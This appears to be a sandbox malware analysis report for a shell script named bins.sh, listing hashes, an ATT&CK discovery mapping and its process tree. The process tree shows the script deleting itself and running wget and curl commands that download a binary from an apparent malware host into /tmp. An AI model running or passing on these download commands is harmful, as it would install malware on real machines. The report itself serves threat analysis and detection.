d48a791f79ce65f71407a1ceeb21d49c644392c3c4d13b329334755a53ee96ad

Analysis

max time kernel
150s
max time network
150s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
25-11-2024 11:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

668d44f6e8b6ec4d2ef49b71646ad2e6
SHA1

21d2336198beeb7d0d736484eb9d200e80985778
SHA256

d48a791f79ce65f71407a1ceeb21d49c644392c3c4d13b329334755a53ee96ad
SHA512

f3a4c1c6b54fbf1ee805a2c8c18a848c0add6e58ce2dc06c15e78348e492955f8cd3b6c17a9d29193515884a4e698d489c36f22dc0c547d3fdcb9791c49c2937
SSDEEP

192:qYGYyYQUYH7cVDoZFF44IFFSYGYyYQUYHK:ucVsub

Score

3^/10

discovery

Malware Config

Signatures

Reads runtime system information 1 IoCs
Reads data from /proc virtual filesystem.
discovery

Processes:

curl

description ioc process

File opened for reading /proc/sys/crypto/fips_enabled curl
System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wgetcurl

pid process

709 wget
809 curl
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.

Processes:

wget

description ioc process

File opened for modification /tmp/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS wget

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

pid	process
709	wget
809	curl

description	ioc	process
File opened for modification	/tmp/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:702
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:705
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:709
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:809

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit